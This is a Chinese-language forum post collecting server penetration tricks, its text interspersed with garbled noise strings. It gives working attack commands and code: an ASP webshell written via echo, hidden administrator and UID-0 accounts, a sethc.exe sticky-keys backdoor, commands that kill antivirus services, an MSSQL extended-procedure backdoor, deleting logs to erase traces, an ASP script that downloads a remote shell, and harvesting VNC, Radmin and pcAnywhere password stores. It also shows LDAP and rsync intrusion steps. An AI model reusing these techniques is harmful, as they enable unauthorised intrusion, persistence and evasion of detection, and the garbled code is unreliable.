渗透技巧总结

admin

旁站路径问题
' C+ O0 `" ?; B. d$ s1、读网站配置。
1 Q0 J2 g0 y$ o; s# F2、用以下VBS
( T+ g% W4 J. F( ROn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
& C% n8 v  }  g; O- F5 P        
/ c( G- ~0 {0 d9 i' j  e
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
$ [6 a3 P3 _4 u8 C" X2 x5 s
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
1 o2 O& |2 }2 N
! `8 U( O/ W9 q1 i4 c("IIS://LocalHost/W3SVC")
4 Y$ K8 w/ Y$ L9 [, AFor Each obj3w In objservice
/ }3 Q! ~+ O6 c: _: k- i        If IsNumeric(obj3w.Name)

Then
4 J# R0 a: A6 T# r9 j' y( s                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
- M' R* x$ W, Y/ n) a* b
. V( R- D1 q/ j' I! R       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

0 a3 ]  O' }& m& l, B) r<> 0 Then WScript.Quit (1)
1 M: U" k' l; z                WScript.Echo Chr(10) & "[" &

  Z& C8 D6 v1 [. u4 ~8 y+ n4 y, gOService.ServerComment & "]"
5 p* u" U$ }) Q% o1 Y                For Each Binds In OService.ServerBindings
% ?; k- I  z5 K: j4 Q     

0 \3 E) [; h1 Q1 P2 e: `                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
! i/ h3 c) j/ f1 G) }
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
( q# \: v& O2 h& K+ h( N6 S4 W                Next
      
; E! V- g; `' W7 J" e5 C! p' v
& b% b% u& x+ W) |* e, w6 C# P$ ?- m! r         WScript.Echo "ath            : " & VDirObj.Path
        End If
+ \/ A1 |9 u# A2 hNext
. ^$ v3 m; Q8 @. }复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
+ B& h: j/ Q3 c% C- X0 @4 |) Q$ j* u- I4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
/ J+ g8 C+ B2 y7 V4 T/ y—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
, M& j* ]2 ?0 A8 O& t  t6 \——————————————————————
. {5 k- z. q" N3 O7 `4 q. k' u+ kphpMyAdmin暴路径办法:
* b# c  Y* @2 X, w: D! M6 NphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
) ~; J0 \, ?" m% B6 d8 fphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
+ G  I8 n1 p, M/ X, q5 B5 G————————————————————
/ s4 l( z0 R) }8 V0 P* t  Q网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
/ [0 w; I* e6 x/ @* z+ \- s9 g————————————————————
# x' I4 E2 M' _1 K4 yCMD下操作VPN相关
+ w" I0 p' L3 H1 pnetsh ras set user administrator permit #允许administrator拨入该VPN
* ^( r4 @3 o% j; \' K" \- nnetsh ras set user administrator deny #禁止administrator拨入该VPN
: m/ o) u. ?! c) H6 k- g  fnetsh ras show user #查看哪些用户可以拨入VPN
3 i- `$ O* ?* n# m) A) h. d7 lnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
$ O* k8 i) f# M; @  X/ Zexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

9 v& Y; d% j: k另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
& D1 }$ U% O( V; V+ m! K8 a; p5 ?js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
& ]& m( F: i' [8 L7 oz.changePassword("123456","")
z.setting("AccountType")=3;
2 s: R: g( B) \/ a, q1 x# J8 P
; T. B) s* B% a$ t0 s4 fvbs:
Set   o=CreateObject( "Shell.Users" )
, {4 i+ L, u3 @1 g8 G. N5 cSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
& l' }3 x! m4 P2 h* p——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
7 R/ q2 d( V! v2 ~1 M4 K( w
( L, k- j% Z6 O9 ?' g; _3 g+ Q命令如下
! Y# ?  d' E$ qcacls c: /e /t /g everyone:F           #c盘everyone权限
% X' y6 I7 k$ d/ L8 ]3 lcacls "目录" /d everyone               #everyone不可读，包括admin
1 M$ E! K5 A7 a: }————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
% z, ~6 }6 ^; C. ?c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
. B2 F7 x: c, S& h2003 运行mstsc /console   
( f1 l% E4 Q/ P2 Q
) p, F- G/ j+ n1 E0 V杀软关闭（把杀软所在的文件的所有权限去掉）
* F9 h& V& _( G( K3 l处理变态诺顿企业版：
; f  U, k, j& ^- D; @; w8 Enet stop "Symantec AntiVirus" /y
$ n6 R  c; ?! m/ @) |net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
: p# C- U6 o1 H' mnet stop "Symantec Settings Manager" /y
3 \6 l5 a5 h- Q% Z" j* H+ S% B* t
4 G+ R/ L) Q/ i+ i" [# i. G5 q卖咖啡：net stop "McAfee McShield"
+ x$ |" W6 M2 Z( ]9 Y9 ?2 b( r————————————————————
- v& _  ]; Y: `% Y* P
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
( y* h- Z# K6 A8 Zcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
' t: Q3 X3 t" J' w6 s$ X& Ccopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
9 h5 I, p% G+ ?7 b( f* D( r1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
$ O/ l. N4 j3 p% y, d9 j2、导出注册表SAM下用户的两个键值
8 l! T& j' ]4 ^( H3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
  e& Q; U5 q2 K; ]' `' u! ?. K4、利用Hacker Defender把相关用户注册表隐藏
0 Q. H0 C4 x1 m2 T4 G2 C——————————————————————
2 d& D4 @0 Z, Z/ W6 [; A+ rMSSQL扩展后门：
3 o: }' s+ P* n* o9 K  mUSE master;
" `; @# l8 m* kEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
. i" f" \3 q& ]6 W* S( C2 OGRANT exec On xp_helpsystem TO public;
———————————————————————
% v+ Z5 _  z9 Q日志处理
3 t) `  J6 D  J: ?5 bC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
7 e+ K4 }) p+ {; N直接删除 ex0111124.log
不成功，“原文件...正在使用”
& \1 O2 |7 J! ]. L' |* {# N; o当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
* Y( d6 b' a2 h/ j* ~& `' o) {
. k2 z+ E" h" {; d2 h3 F) U/ |MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
! S" O% U+ ~4 Q: {* T, v* X" jHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
& o2 J: l, m2 n0 }找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
" G4 O* [* D- {' G8 `0 M* `4 Q( @—————————————————————————
. V5 }3 [/ Y& T: M防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
; d7 o8 Z7 Q) _& G& z* p
$ |$ |( @5 q) x<%
: p- t8 B$ O( s$ YSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
3 @) `: q' J6 @# KDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
  @# B8 A+ o' Z$ f9 x.Send
GetRemoteData = .ResponseBody
) P# G) b; R1 X9 G& r$ I4 K2 o7 hEnd With
Set Retrieval = Nothing
& o4 p' w* ]2 R$ L2 ?5 D1 e+ m) r' pSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
% l3 m3 W7 A* V' a.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
% d2 c9 r4 v3 O0 O7 p  p6 o5 @5 ?  ~1 z.Close()
; }: [2 d; }* F0 LEnd With
  R; P# b  y% f! ~; T# n8 wSet Ads=nothing
End Sub
2 k4 ^+ B7 T9 X$ Q, o6 W
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
. n0 Q" z" L( T3 [1 S, k  Z% J$ p0 U利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
. ~- k4 {+ M9 K  M" V注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
0 M% H" y' y% f- _2 H8 ZHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
/ F) _3 c0 ]  ~+ cUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
# b9 H! @/ O( P+ r5 n4 x搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
) r4 ?3 g0 k+ v: j% I——————————————————----------
- g8 l8 u7 x6 C$ y1 D* OWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
- p$ _3 y  g  o) s没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

! a# P# O, I2 p3 i: W8 B: X1433 SA点构建注入点。
& L) m' ]9 C4 Q) Q# Z" Q<%
' I+ w% C% `7 ?/ p5 v7 EstrSQLServerName = "服务器ip"
% \. O" c$ s# \# l" c  M6 {. t& _strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
* s, ]' v: s" u6 k7 ~2 USet conn = Server.createObject("ADODB.Connection")
: k( l: }7 m, n$ L) zstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
; e' A6 r1 J7 i' [
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
: v* w9 G- J$ H# j  E
' ^& ~% K$ P) z7 `$ X5 I$ WstrSQLDBName & ";"
conn.open strCon
2 B7 Y2 |+ U5 n0 R* e) |, edim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
  c6 o% z' z0 c) G- kid = request("id")
0 u  p7 {5 ^( U6 vstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
. t% K: `6 R: t6 H4 S9 Y2 t6 n- rrs.close
%>
复制代码
! i* S  T. e7 v" }$ m- k' C******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
% T6 o& S  r4 O7 M3 F
/ b! I$ N0 |. j  _9 Y2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
& w; l, y5 B; V5 H" y+ a* K( i' `找到ou,dc,dc设置
5 L5 ^3 k- J) }6 _. E  l
3.查找管理员信息
2 p. u% r2 E1 I% `# x3 j( t* s7 _* _6 P匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
  h$ z2 K! E. \' e9 M
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
; }" L2 b5 i: A  F9 Dldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

# ?6 b( f8 v0 [4 G"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


" Z0 D! w9 ]' l4.查找10条用户记录
8 _+ K5 i" Z& `3 r" n; S0 tldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
% b1 D, `& V; w; \4 G看看密码登录策略我们可以看到使用了file ldap模式

) F; N8 b  ~/ z6 E- `" K; C2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

; k1 d2 h  Y# B8 g/ e! v3.查找管理员信息
# B: [1 n' c/ W* _) Q; V匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% t* G/ c3 C4 L8 S& M$ o" \  a
. R* G& c- x3 [; A8 n9 G"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
) ~) c$ e( a' J/ @ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
6 c& |9 U9 |5 O
渗透实战:
1.返回所有的属性
5 O. D: K" Q9 C- I+ Pldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
# a* O! y2 X- g; {- U1 Eversion: 1
9 \' K% h; E$ P8 ]& V& c, \dn: dc=ruc,dc=edu,dc=cn
! l5 g: n9 e; b1 ldc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
- u, }& c3 ^, c1 v; DobjectClass: inetOrgPerson
objectClass: organizationalPerson
  E( @* @# ]5 ~objectClass: person
7 t) \! Y/ [1 V" b; MobjectClass: top
sn: manager
cn: manager
( P( W6 T. v: _. t
, N8 x1 T. R' A1 c, b( Z$ kdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
& Q# Q4 L4 G& s7 L) Juid: superadmin
2 ^; B* ^. h* R+ i6 W" v" q" @objectClass: inetOrgPerson
) d; h# M; q6 L, L& R! QobjectClass: organizationalPerson
7 l- a* s' B3 A; C3 ]+ _objectClass: person
5 N. n; K7 I& z5 `1 D1 ?  C' gobjectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
$ D9 S0 |2 h2 d* ~; a% uobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
$ b3 n  b' X% \& F/ e3 ^objectClass: person
$ s. `  n1 v* t2 ?( c, d* yobjectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

6 |) @  }7 T' g/ P, S8 @% H2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
9 l+ Y2 h" T5 F' R1 v
0 @1 P- b; F& F( K% W4 o' Y, ^8 Ymore
- n' M: z0 z) |; Y4 wversion: 1
5 w' C: P. S+ ?dn: dc=ruc,dc=edu,dc=cn
* F* l" r) l: G  udc: ruc
! @6 v, R+ m- s3 @objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
" [8 V7 l1 d' O# i5 R1 sversion: 1
dn:
objectClass: top
, c3 W9 }" k5 l: {. R7 NnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
" C  r3 }& g9 [supportedExtension: 1.3.6.1.4.1.4203.1.11.1
& ~% p/ M( [! i9 H; fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
& Z# H' O$ A7 c& X+ D! KsupportedExtension: 2.16.840.1.113730.3.5.5
4 h1 {8 D9 I0 g# Y8 i' ^supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
. W% b! Z/ Q! g$ xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
" d/ _7 X$ n6 p& C' y7 w5 r  psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
( ]/ u. W/ ^) G' P8 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
- R+ S. j7 N3 d4 P( p+ |  u. a! ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
# ~4 d2 k" l( QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
/ S! @' ]! c' P$ l3 KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
" C7 m, m- ?- m) _* }! @8 }* zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
7 J# w7 x4 {' M( B7 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
' o" ]& M' S8 b- }) }7 d% }1 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
" N9 b7 K  L* A6 o5 k; Y* h( g! usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
' u2 g2 l% W/ A& f! E# Y. lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
* F9 S* f, n. E: u3 w" d: hsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
! t& L/ l) l8 x- S. |* b9 v; WsupportedControl: 2.16.840.1.113730.3.4.9
- k! e( J  F6 D5 jsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
4 U  [  w: s- q2 GsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
. j8 i' S% h! @( @% ssupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
# |/ o# n" G. Z; [% ^supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
6 n( U# I3 N/ y; @3 csupportedControl: 2.16.840.1.113730.3.4.14
* I: S' c, d1 z6 u4 j1 p6 T+ vsupportedControl: 1.3.6.1.4.1.1466.29539.12
8 q& A2 _% Z' r% L" LsupportedControl: 2.16.840.1.113730.3.4.12
8 y# y9 R+ v( CsupportedControl: 2.16.840.1.113730.3.4.18
1 x3 S8 W, L' nsupportedControl: 2.16.840.1.113730.3.4.13
. V0 I- X% h" k, B9 L; t& q; ysupportedSASLMechanisms: EXTERNAL
4 Q& x: d3 s  L5 N$ csupportedSASLMechanisms: DIGEST-MD5
2 j; `) @6 n5 s: T6 i/ ssupportedLDAPVersion: 2
' r* {: F; i$ I1 CsupportedLDAPVersion: 3
3 I3 [& {# Q* N$ HvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
% o. y# r, I0 ~1 e) F2 adataversion: 020090516011411
( i; P6 X7 C/ O& w9 dnetscapemdsuffix: cn=ldap://dc=webA:389
# \8 f( [1 f$ k/ J; a% ZsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
! z, Y2 q( Z. M6 ~1 m& qsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
+ w; ?, J& I4 K5 ~& T: F6 {9 XsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0 m1 J) v/ \( b9 t1 }supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
5 Q" [  f5 w. O; ~+ f( psupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
3 l" u0 d: C! w8 w& n+ y1 u: R; q" IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
$ Y$ o8 L* ^+ u1 n: MsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
: ~# K" X/ l5 v. DsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0 Z$ o. z# d5 {supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
9 j$ N9 k% o2 lsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
. @* {. E' s; F8 ]& b4 TsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
/ o3 p& c- M: usupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
# G2 p; X% F! i# W) K2 v4 rsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
* s2 P5 ?9 |' v- F- i. n7 FsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
, |; F2 m4 S- i) Y$ T: [$ U3 t, TsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
! A0 Y4 }/ _$ csupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
: ^0 {) n! D; o  ksupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
9 q2 f  S( t0 MsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
; U4 F; K2 p; HsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
+ v8 z/ t2 [# q- B9 WsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
$ l  r* A9 y+ H% H. ]( y5 t" DsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
) p7 _* [8 `' K; L# {supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
1 G( @. Z' w4 W, m' esupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
5 e* g1 s# V8 O列举IP
, q7 f5 a5 f4 [——————
3.rsync渗透技巧
0 O- g: u5 B' b: z1.查看rsync服务器上的列表
rsync 210.51.X.X::
: L1 ^+ L- B6 R' i( F0 Dfinance
img_finance
& F5 Q4 O0 ?8 z8 z" U; r2 Yauto
img_auto
+ V- R9 b& w$ y3 U( `) @: ]html_cms
' D/ E1 ~& ^7 u" V+ B3 g! yimg_cms
ent_cms
ent_img
9 j0 L: a& W8 I7 z9 b5 ^5 G: }ceshi
res_img
8 e  O: S+ C9 f/ ^res_img_c2
chip
chip_c2
& [$ w( @) u8 S/ h. V: P1 \ent_icms
games
gamesimg
1 D9 S) z6 d7 A1 _9 wmedia
mediaimg
  i9 f/ ]( S7 T# y/ m: j6 j' h' \9 _) Jfashion
) |! \3 n9 V6 l$ Fres-fashion
- m6 i7 r; ]6 I+ }res-fo
taobao-home
res-taobao-home
house
res-house
res-home
res-edu
res-ent
res-labs
res-news
res-phtv
0 W/ s' Z* N& k: f- ires-media
( t+ h( O# e/ w6 Bhome
/ j- f) ?* P4 u0 Q' pedu
3 n. g+ W9 h5 T2 d) t1 I$ ]3 enews
res-book
6 u- v/ ^  t7 i2 f' [4 N% L
/ O$ H3 N3 \# u2 h0 R8 T5 B看相应的下级目录(注意一定要在目录后面添加上/)

4 H; w% g" _/ Z0 d4 g
rsync 210.51.X.X::htdocs_app/
, X. M. ?( F/ @0 r0 }rsync 210.51.X.X::auto/
( O" ?( x) l5 t& Z3 ersync 210.51.X.X::edu/

) j+ h0 L1 j( ?! V* `# m* b# n( `( ~8 z2.下载rsync服务器上的配置文件
2 \- y$ p4 B- e  ^5 h- w5 z% b  `rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

2 _8 B* @( |) C% P, K" m3.向上更新rsync文件(成功上传,不会覆盖)
; o9 A0 C9 b5 A( M5 {rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
+ v/ m( V1 ?" kGET HTTP://www.sina.com / HTTP/1.0
# L8 Q5 ^' e& ?( zGET HTTP://WWW.sina.com:22 / HTTP/1.0
' K- A3 }0 T/ R' o$ _7 Z+ c3 S五.SSH端口转发
) D# w# p. P6 I" a* ?) c$ K+ w3 J% s- Cssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
: w1 m1 y# u! Y# |
, e4 J( F8 G  j六.joomla渗透小技巧
确定版本
/ y) S; k. p4 Z& pindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
4 A, O+ V% G4 P, u
15&catid=32:languages&Itemid=47
) w# _- {  ?( `# X
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

' t; }6 s7 U: E- l" I8 p) @: o七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
- y1 d+ {% \1 b8 x1 F! V
; s" {3 u# |/ A$ Z3 ]八.freebsd本地提权
[argp@julius ~]$ uname -rsi
3 z' r( I& R7 M: V( p6 G* f+ d* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* y! f  f5 w0 {* vfs.usermount: 1
& h6 U1 D% L7 ]: ~$ ^$ m- U* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
